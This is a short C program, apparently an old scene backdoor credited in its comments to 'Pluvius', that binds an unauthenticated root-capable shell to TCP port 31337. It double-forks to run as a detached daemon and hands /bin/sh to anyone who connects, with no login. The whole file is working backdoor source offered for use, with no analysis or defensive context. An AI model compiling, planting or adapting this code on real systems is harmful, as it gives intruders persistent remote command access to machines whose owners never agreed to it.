/* Will bind a shell to the port number defined by PORT. This means  */
/* you can telnet to port number x and automatically get a shell     */
/* without needing to enter a username and password.                 */
/* I lost the header for this file but I think it was written by     */
/* Pluvius (pluvius@io.org). Nice one !                              */
/* It compiles under most Unix implementations I have tried.         */

#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main ()
{ 
 soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
 if (soc_des == -1) exit(-1); 
 bzero((char *) &serv_addr, sizeof(serv_addr));
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
 serv_addr.sin_port = htons(PORT);
 soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
 if (soc_rc != 0) exit(-1);
 if (fork() != 0) exit(0);
 setpgrp(); 
 signal(SIGHUP, SIG_IGN); 
 if (fork() != 0) exit(0);
 soc_rc = listen(soc_des, 5);
 if (soc_rc != 0) exit(0);
 while (1) { 
  soc_len = sizeof(client_addr);
  soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
  if (soc_cli < 0) exit(0); 
  cli_pid = getpid();
  server_pid = fork(); 
  if (server_pid != 0) { 
   dup2(soc_cli,0); 
   dup2(soc_cli,1); 
   dup2(soc_cli,2);
   execl("/bin/sh","sh",(char *)0); 
   close(soc_cli); 
   exit(0); 
  } 
  close(soc_cli);
 }
}